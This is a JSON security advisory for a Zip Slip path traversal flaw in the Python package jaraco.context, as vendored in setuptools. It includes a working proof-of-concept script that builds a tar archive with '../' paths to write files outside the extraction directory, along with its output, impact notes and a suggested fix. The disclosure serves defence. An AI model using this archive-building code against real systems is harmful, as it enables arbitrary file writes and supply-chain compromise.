Vulnerabilities in pkg:pypi/jaraco.context

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-58pv-8j8x-9vj2",
  "modified" : "2026-01-22T22:25:55Z",
  "published" : "2026-01-13T21:48:17Z",
  "aliases" : [ "CVE-2026-23949" ],
  "summary" : "jaraco.context Has a Path Traversal Vulnerability",
  "details" : "### Summary\nThere is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in `jaraco.context.tarball()` function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed.\nThe strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`.\nNote that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`.\n\nThe code can be found:\n- https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91\n- https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited)\n\nThis report was also sent to setuptools maintainers and they asked some questions regarding this.\n\nThe lengthy answer is:\n\nThe vulnerability seems to be the `strip_first_component` filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball).\nThe stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.\n\nThe short answer is:\n\nIf we are talking about Python < 3.12 the tarball and jaraco implementations /  behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.\n\nSampled tests:\n<img width=\"1634\" height=\"245\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb\" />\n\n### Details\n\nThe flow with setuptools in the mix:\n```\nsetuptools._vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|*') as tf: > tf.extractall(path=target_dir, filter=strip_first_component) > strip_first_component (Vulnerable)\n```\n\n### PoC\n\nThis was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm).\nYou can run this directly after having all the dependencies:\n```py\n#!/usr/bin/env python3\nimport tarfile\nimport io\nimport os\nimport sys\nimport shutil\nimport tempfile\nfrom setuptools._vendor.jaraco.context import strip_first_component\n\n\ndef create_malicious_tarball(traversal_to_root: str):\n    tar_data = io.BytesIO()\n    with tarfile.open(fileobj=tar_data, mode='w') as tar:\n        # Create a malicious file path with traversal sequences\n        malicious_files = [\n            # Attempt 1: Simple traversal to /tmp\n            {\n                'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt',\n                'content': b'[ZIPSLIP] File written to /tmp via path traversal!',\n                'name': 'pwned_via_tmp'\n            },\n            # Attempt 2: Try to write to home directory\n            {\n                'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt',\n                'content': b'[ZIPSLIP] Attempted write to home directory',\n                'name': 'pwned_via_home'\n            },\n            # Attempt 3: Try to write to current directory parent\n            {\n                'path': 'dummy_dir/../escaped.txt',\n                'content': b'[ZIPSLIP] File in parent directory!',\n                'name': 'pwned_escaped'\n            },\n            # Attempt 4: Legitimate file for comparison\n            {\n                'path': 'dummy_dir/legitimate_file.txt',\n                'content': b'This file stays in target directory',\n                'name': 'legitimate'\n            }\n        ]\n        for file_info in malicious_files:\n            content = file_info['content']\n            tarinfo = tarfile.TarInfo(name=file_info['path'])\n            tarinfo.size = len(content)\n            tar.addfile(tarinfo, io.BytesIO(content))\n\n    tar_data.seek(0)\n    return tar_data\n\n\ndef exploit_zipslip():\n    print(\\\"[*] Target: setuptools._vendor.jaraco.context.tarball()\\\")\n\n    # Create temporary directory for extraction\n    temp_base = tempfile.mkdtemp(prefix=\\\"zipslip_test_\\\")\n    target_dir = os.path.join(temp_base, \\\"extraction_target\\\")\n\n    try:\n        os.mkdir(target_dir)\n        print(f\\\"[+] Created target extraction directory: {target_dir}\\\")\n\n        target_dir_abs = os.path.abspath(target_dir)\n        print(target_dir_abs)\n        depth_to_root = len([p for p in target_dir_abs.split(os.sep) if p])\n        traversal_to_root = \\\"../\\\" * depth_to_root\n        print(f\\\"[+] Using traversal_to_root prefix: {traversal_to_root!r}\\\")\n\n        # Create malicious tarball\n        print(\\\"[*] Creating malicious tar archive...\\\")\n        tar_data = create_malicious_tarball(traversal_to_root)\n\n        try:\n            with tarfile.open(fileobj=tar_data, mode='r') as tf:\n                for member in tf:\n                    # Apply the ACTUAL vulnerable function from setuptools\n                    processed_member = strip_first_component(member, target_dir)\n                    print(f\\\"[*] Extracting: {member.name:40} -> {processed_member.name}\\\")\n\n                    # Extract to target directory\n                    try:\n                        tf.extract(processed_member, path=target_dir)\n                        print(f\\\"    ✓ Extracted successfully\\\")\n                    except (PermissionError, FileNotFoundError, OSError) as e:\n                        print(f\\\"    ! {type(e).__name__}: Path traversal ATTEMPTED\\\")\n        except Exception as e:\n            print(f\\\"[!] Extraction raised exception: {type(e).__name__}: {e}\\\")\n\n        # Check results\n        print(\\\"[*] Checking for extracted files...\\\")\n\n        # Check target directory\n        print(f\\\"[*] Files in target directory ({target_dir}):\\\")\n        if os.path.exists(target_dir):\n            for root, _, files in os.walk(target_dir):\n                level = root.replace(target_dir, '').count(os.sep)\n                indent = ' ' * 2 * level\n                print(f\\\"{indent}{os.path.basename(root)}/\\\")\n                subindent = ' ' * 2 * (level + 1)\n                for file in files:\n                    filepath = os.path.join(root, file)\n                    try:\n                        with open(filepath, 'r') as f:\n                            content = f.read()[:50]\n                        print(f\\\"{subindent}{file}\\\")\n                        print(f\\\"{subindent}  └─ {content}...\\\")\n                    except:\n                        print(f\\\"{subindent}{file} (binary)\\\")\n        else:\n            print(f\\\"[!] Target directory not found!\\\")\n\n        print()\n        print(\\\"[*] Checking for traversal attempts...\\\")\n        print()\n\n        # Check if files escaped\n        traversal_attempts = [\n            (\\\"/tmp/pwned_by_zipslip.txt\\\", \\\"Escape to /tmp\\\"),\n            (os.path.expanduser(\\\"~/pwned_home.txt\\\"), \\\"Escape to home\\\"),\n            (os.path.join(temp_base, \\\"escaped.txt\\\"), \\\"Escape to parent\\\"),\n        ]\n\n        escaped = False\n        for check_path, description in traversal_attempts:\n            if os.path.exists(check_path):\n                print(f\\\"[+] Path Traversal Confirmed: {description}\\\")\n                print(f\\\"      File created at: {check_path}\\\")\n                try:\n                    with open(check_path, 'r') as f:\n                        content = f.read()\n                    print(f\\\"      Content: {content}\\\")\n                    print(f\\\"      Removing: {check_path}\\\")\n                    os.remove(check_path)\n                except Exception as e:\n                    print(f\\\"      Error reading: {e}\\\")\n                escaped = True\n            else:\n                print(f\\\"[-] OK: {description} - No escape detected\\\")\n\n        if escaped:\n            print(\\\"[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!\\\")\n        else:\n            print(\\\"[-] No path traversal detected (mitigation in place)\\\")\n\n    finally:\n        # Cleanup\n        print()\n        print(f\\\"[*] Cleaning up: {temp_base}\\\")\n        try:\n            shutil.rmtree(temp_base)\n        except Exception as e:\n            print(f\\\"[!] Cleanup error: {e}\\\")\n\n\ndef check_python_version():\n    print(f\\\"[+] Python version: {sys.version}\\\")\n    # Python 3.11.4+ added DEFAULT_FILTER\n    if hasattr(tarfile, 'DEFAULT_FILTER'):\n        print(\\\"[+] Python has DEFAULT_FILTER (tarfile security hardening)\\\")\n    else:\n        print(\\\"[!] Python does not have DEFAULT_FILTER (older version)\\\")\n    print()\n\n\nif __name__ == \\\"__main__\\\":\n    check_python_version()\n    exploit_zipslip()\n```\n\nOutput:\n```\n[+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] \n[!] Python does not have DEFAULT_FILTER (older version) \n\n[*] Target: setuptools._vendor.jaraco.context.tarball() \n[+] Created target extraction directory: /tmp/zipslip_test_tnu3qpd5/extraction_target \n[*] Creating malicious tar archive... \n[*] Extracting: ../../tmp/pwned_by_zipslip.txt           -> ../../tmp/pwned_by_zipslip.txt \n    ✓ Extracted successfully \n[*] Extracting: ../../../../home/pwned_home.txt          -> ../../../../home/pwned_home.txt \n    ! PermissionError: Path traversal ATTEMPTED \n[*] Extracting: ../escaped.txt                           -> ../escaped.txt \n    ✓ Extracted successfully \n[*] Extracting: legitimate_file.txt                      -> legitimate_file.txt \n    ✓ Extracted successfully \n[*] Checking for extracted files... \n[*] Files in target directory (/tmp/zipslip_test_tnu3qpd5/extraction_target): \nextraction_target/ \n  legitimate_file.txt \n    └─ This file stays in target directory... \n\n[*] Checking for traversal attempts... \n\n[-] OK: Escape to /tmp - No escape detected \n[-] OK: Escape to home - No escape detected \n[+] Path Traversal Confirmed: Escape to parent \n      File created at: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n      Content: [ZIPSLIP] File in parent directory! \n      Removing: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed! \n\n[*] Cleaning up: /tmp/zipslip_test_tnu3qpd5\n```\n\n### Impact\n\n- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files.\n- Privesc (LOW exploitability)\n- Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.\n\n### Remediation\n\nI guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter `strip_first_component` that skips or sanitizes `../` character sequences since it is already there eg.\n```\nif member.name.startswith('/') or '..' in member.name:\n  raise ValueError(f\\\"Attempted path traversal detected: {member.name}\\\")\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "jaraco.context"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.2.0"
      }, {
        "fixed" : "6.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jaraco/jaraco.context/security/advisories/GHSA-58pv-8j8x-9vj2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23949"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jaraco/jaraco.context/commit/7b26a42b525735e4085d2e994e13802ea339d5f9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jaraco/jaraco.context"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-13T21:48:17Z",
    "nvd_published_at" : "2026-01-20T01:15:57Z"
  }
}